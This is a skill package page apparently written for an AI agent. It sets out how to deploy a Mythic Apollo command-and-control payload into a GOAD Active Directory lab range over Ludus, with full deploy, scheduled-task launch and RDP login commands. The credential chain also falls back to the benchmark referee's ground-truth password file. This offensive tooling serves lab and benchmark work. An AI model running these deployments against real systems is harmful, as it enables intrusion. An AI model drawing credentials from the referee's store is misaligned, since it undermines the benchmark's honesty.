sage-mythic-payload-deploy

Files (5)

• SKILL.md
• openai.yaml · agents/
• deploy_payload_via_ludus.py · scripts/
• launch_apollo_foothold.sh · scripts/
• open_rdp_session.py · scripts/

SKILL.md (first lines)

# Sage Mythic Payload Deploy

## Overview

Use the bundled script for deterministic payload redeploys from Mythic into the Ludus GOAD range. Keep passwords out of scripts: Mythic auth resolves from `MYTHIC_ADMIN_PASSWORD`, then `MYTHIC_ENV_PATH` (no checkout-name default — see `.env.example`); Ludus API auth comes from `.mcp.json`; target run-as credentials resolve in a fixed chain so a session never has to ask the operator twice:

1. `--run-as-password` (explicit)
2. `SAGE_RUN_AS_PASSWORD` (environment or `--run-as-password-env`)
3. `~/.config/sage/runas.env` (per-user durable secrets file) — also checked by
   `open_rdp_session.py`, which additionally reads the Mythic `.env`
4. Mythic's credential store (`deploy` only, when the credential has been captured)
5. **The GOAD benchmark referee fixture** — `Payload_Type/sage/.hillclimb/referee_ldap.json`: the
   gitignored, operator-maintained per-domain ground-truth credential store for this range
   (domain matched by casefolded key or first DNS label, so `NORTH\…` matches
   `north.sevenkingdoms.local`). Both `open_rdp_session.py` and `deploy` fall back to it.

If every link is empty the scripts fail closed with that chain spelled out. Never print or log the
resolved value; never commit the fixture or the secret.

RDP display: `open_rdp_session.py` defaults to `:0` — the running GNOME/Xwayland desktop. A
dedicated `:99` Xvfb hung the client pre-logon here (no Xvfb installed); `Logon Info V2
[NORTH\samwell.tarly …]` in the client log is the evidence the interactive logon registered, and
the deploy census saying the session is "disconnected" is expected — the scheduled-task launch
works from a logged-on (even disconnected) session. Keep the xfreerdp client alive while `deploy`
runs; kill it only after the callback is observed.

After rolling back the disk-only Apollo-staged snapshot and importing the retained callback config, open an RDP session as Samwell and run `launch-existing`. It starts the preserved `SageApolloBootstrap` task, waits for the retained callback check-in to advance, and disconnects the RDP session.

Treat a staged foothold as one fixture, never as independently selected defaults. The qualified Trust Walker fixture is:

- snapshot `sage-seed-apollo-v252-mythic4-20260829`;
- retained config `skills/sage-callback-bootstrap/apollo_callback_config.json`, SHA-256 `d7ef31912788a78b46c45bdd05920ef3519b31ab298889f52348d41a2163fe82`, payload UUID `aef50036-02ad-4c7a-8786-7ca778281ad2`;
- scheduled task `SageApolloBootstrap` in prelaunch state `Ready`;
- executable `C:\Users\Public\apollo.exe`, SHA-256 `aea555ddff1b6f1941714fdffe7a760deb5058c20861965ab711c7aa19091b37`.

Fail before starting the task if any identity differs. In particular, do not pair the mutable retained-config default
with the older `sage-seed-apollo-staged-20260710` snapshot; that snapshot contains payload UUID
`465d689e-6971-4811-96d7-da395f302223`, which the current retained Mythic metadata cannot accept.

## Canonical Apollo Bootstrap

Choose the bootstrap mode from the range state and required Windows logon token. Caller environment does not
choose the mode: a headless Codex or cron process can invoke the PTY-backed interactive launcher when the host has
the required Xwayland/Xvfb display. If that prerequisite is absent and the benchmark requires an interactive token,
stop before allocation instead of substituting batch logon.

| Range and payload state | Required token | Canonical entry point | Mythic payload download |
|---|---|---|---|
| Snapshot already contains Apollo plus `SageApolloBootstrap`; retained callback metadata is imported | Interactive benchmark foothold | `launch_apollo_foothold.sh` → `launch-existing` | Forbidden |
| Clean baseline has no staged Apollo; a current Mythic payload has real downloadable bytes | Interactive foothold | `deploy --launch-method scheduled-task-interactive` | Required |
| Current Mythic payload has real downloadable bytes and the operation explicitly accepts a batch-logon token | Batch-logon canary foothold | `sage-foothold-launch/scripts/foothold_launch.py launch` | Required |

An imported retained-callback payload row may have an empty server-side file path. It is identity metadata for the
already-staged executable, not a payload-download source. Never route that state through `deploy` or
`mythic.download_payload`; use `launch-existing`.

Before a live allocation starts, retain the snapshot, payload source (`snapshot` or `mythic-download`), required
logon type, exact launcher entry point, whether a Mythic download is expected, callback settle window, and
uniqueness requirement. On launcher failure, retain bounded stdout/stderr and the terminal phase before reducing
the result to a generic reset error.

For retained staged footholds, use the one-command interactive launcher with the uniqueness gate:

```bash
skills/sage-mythic-payload-deploy/scripts/launch_apollo_foothold.sh <target-ip> '<DOMAIN\user>' -- --ludus-range-id <range-id> --target-host <host> --callback-host <host> --callback-user <user> --task-name SageApolloBootstrap --expected-task-state Ready --expected-remote-path 'C:\Users\Public\apollo.exe' --expected-remote-sha256 aea555ddff1b6f1941714fdffe7a760deb5058c20861965ab711c7aa19091b37 --callback-settle-seconds 90 --require-unique-callback
```

The settle window is part of the evidence gate: if another matching callback appears during it, treat the attempt as
non-countable and fix the foothold state before continuing.

## Workflow

1. Confirm Mythic has the payload:

```bash
.venv/bin/python skills/sage-mythic-payload-deploy/scripts/deploy_payload_via_ludus.py list-payloads --payload-type apollo
```

If a run-as password should come from Mythic, inspect credential metadata without printing secrets:

```bash
.venv/bin/python skills/sage-mythic-payload-deploy/scripts/deploy_payload_via_ludus.py list-credentials --account samwell
```

2. Deploy the payload. For GOAD, prefer the Tailscale IP as `--serve-host` when the range cannot reach the local VM bridge IP.

```bash
SAGE_RUN_AS_PASSWORD='<password>' \
.venv/bin/python skills/sage-mythic-payload-deploy/scripts/deploy_payload_via_ludus.py deploy \
  --payload-type apollo \
  --target-host CASTELBLACK \
  --serve-host 100.x.y.z \
  --run-as-user 'NORTH\samwell.tarly'
```

Use Mythic's credential store instead of an environment variable when the credential has already been captured:

```bash
.venv/bin/python skills/sage-mythic-payload-deploy/scripts/deploy_payload_via_ludus.py deploy \
  --payload-type apollo \
  --target-host CASTELBLACK \
  --serve-host 100.x.y.z \
  --run-as-user 'NORTH\samwell.tarly' \
  --run-as-credential-account samwell.tarly \
  --run-as-credential-realm north.sevenkingdoms.local
```

For the clean-baseline CASTELBLACK foothold, use the interactive launch path instead of `auto`. Open an RDP
session as `NORTH\samwell.tarly`, then launch the staged payload through that active desktop session.
First log off the snapshot's `localuser` console session:

```bash
.venv/bin/python skills/sage-mythic-payload-deploy/scripts/deploy_payload_via_ludus.py logoff-user --username localuser
```

```bash
printf '%s\n' "$SAGE_RUN_AS_PASSWORD" | xfreerdp3 \
  /from-stdin:force /u:'NORTH\samwell.tarly' /v:10.4.10.22 \
  /cert:ignore /sec:nla /w:1024 /h:768 /log-level:ERROR

From MythicAgents/sage, GPL-3.0.

More from MythicAgents/sage